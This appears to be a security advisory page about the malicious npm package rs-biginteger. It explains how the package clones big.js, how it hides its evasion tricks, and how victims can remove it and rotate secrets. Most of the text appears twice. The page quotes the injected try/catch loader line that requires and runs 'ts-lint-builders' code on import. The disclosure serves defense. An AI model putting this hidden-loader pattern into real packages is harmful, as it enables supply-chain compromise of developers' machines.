Malicious code in rs-biginteger (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (796cb1ee4c8398963dcc192d2fc9b425866f40f7a99b467cba1d160234508617) Package presents itself as a big-integer arithmetic library and ships the verbatim big.js v7.0.1 source plus its README. Injected between the `P.minus` and `P.mod` method definitions in both big.js and big.mjs is a loader: `try { const doc = require("ts-lint-builders"); doc.from_str().then(...) } catch (error) {}`. On every `require('rs-biginteger')` / ESM import, the module top-level resolves `ts-lint-builders` and invokes its `from_str()` function, executing third-party code chosen by this author at load time. The package's declared dependency is `[email protected]` — a name mismatch with the require target, indicating the attacker controls the resolution path into the installer's dependency graph. The empty try/catch silently swallows any failure, concealing the behavior from casual inspection. The loader's placement mid-file inside cloned legitimate source, the cover-story package name impersonating big.js/big-integer, the duplicated payload in both CommonJS and ESM entry points, and the silent error swallowing are deliberate evasion patterns. Installers expecting a pure-math library instead load and execute arbitrary attacker-chosen code on every import. ## Source: ghsa-malware (c4c6d1869f82f8162a8219a520ad9e885e55e925ee006a503f657083120c78ee) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
AI Analysis
Technical Summary
The rs-biginteger package impersonates a legitimate big-integer arithmetic library by including the exact source of big.js v7.0.1 but injects a loader between method definitions that attempts to require and execute code from a dependency named 'ts-lint-builders'. The declared dependency is a mismatched package name, allowing the attacker to control the dependency resolution path and execute arbitrary code at module load time. The malicious code is present in both CommonJS and ESM entry points, and silent try/catch blocks hide failures, making detection difficult. This results in arbitrary code execution whenever the package is imported, compromising the host system.
Potential Impact
Any system that installs or runs the rs-biginteger package is fully compromised, as the package executes attacker-controlled code on import. This can lead to complete system takeover, data theft, and unauthorized access to secrets and keys. The compromise is severe enough that all secrets and keys on the affected system should be rotated from a separate, trusted environment. Removal of the package alone does not guarantee eradication of all malicious artifacts.
Mitigation Recommendations
No official patch or fix is available for this malicious package. The recommended mitigation is to immediately remove the rs-biginteger package from all environments. Additionally, assume full system compromise and rotate all secrets and keys from a secure, uncompromised system. Monitor for any suspicious activity related to this package and avoid installing packages from untrusted or unknown sources. Since this is a malicious package rather than a vulnerability in legitimate software, remediation relies on removal and secret rotation.
Malicious code in rs-biginteger (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (796cb1ee4c8398963dcc192d2fc9b425866f40f7a99b467cba1d160234508617) Package presents itself as a big-integer arithmetic library and ships the verbatim big.js v7.0.1 source plus its README. Injected between the `P.minus` and `P.mod` method definitions in both big.js and big.mjs is a loader: `try { const doc = require("ts-lint-builders"); doc.from_str().then(...) } catch (error) {}`. On every `require('rs-biginteger')` / ESM import, the module top-level resolves `ts-lint-builders` and invokes its `from_str()` function, executing third-party code chosen by this author at load time. The package's declared dependency is `[email protected]` — a name mismatch with the require target, indicating the attacker controls the resolution path into the installer's dependency graph. The empty try/catch silently swallows any failure, concealing the behavior from casual inspection. The loader's placement mid-file inside cloned legitimate source, the cover-story package name impersonating big.js/big-integer, the duplicated payload in both CommonJS and ESM entry points, and the silent error swallowing are deliberate evasion patterns. Installers expecting a pure-math library instead load and execute arbitrary attacker-chosen code on every import. ## Source: ghsa-malware (c4c6d1869f82f8162a8219a520ad9e885e55e925ee006a503f657083120c78ee) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Affected software
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AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The rs-biginteger package impersonates a legitimate big-integer arithmetic library by including the exact source of big.js v7.0.1 but injects a loader between method definitions that attempts to require and execute code from a dependency named 'ts-lint-builders'. The declared dependency is a mismatched package name, allowing the attacker to control the dependency resolution path and execute arbitrary code at module load time. The malicious code is present in both CommonJS and ESM entry points, and silent try/catch blocks hide failures, making detection difficult. This results in arbitrary code execution whenever the package is imported, compromising the host system.
Potential Impact
Any system that installs or runs the rs-biginteger package is fully compromised, as the package executes attacker-controlled code on import. This can lead to complete system takeover, data theft, and unauthorized access to secrets and keys. The compromise is severe enough that all secrets and keys on the affected system should be rotated from a separate, trusted environment. Removal of the package alone does not guarantee eradication of all malicious artifacts.
Mitigation Recommendations
No official patch or fix is available for this malicious package. The recommended mitigation is to immediately remove the rs-biginteger package from all environments. Additionally, assume full system compromise and rotate all secrets and keys from a secure, uncompromised system. Monitor for any suspicious activity related to this package and avoid installing packages from untrusted or unknown sources. Since this is a malicious package rather than a vulnerability in legitimate software, remediation relies on removal and secret rotation.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-6675
- Osv Schema Version
- 1.7.4
- Aliases
- ["GHSA-xm5w-w96q-42f3"]
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a44530527e9c797199198cf
Added to database: 06/30/2026, 23:36:37 UTC
Last enriched: 07/10/2026, 12:00:39 UTC
Last updated: 07/31/2026, 05:49:09 UTC
Views: 76
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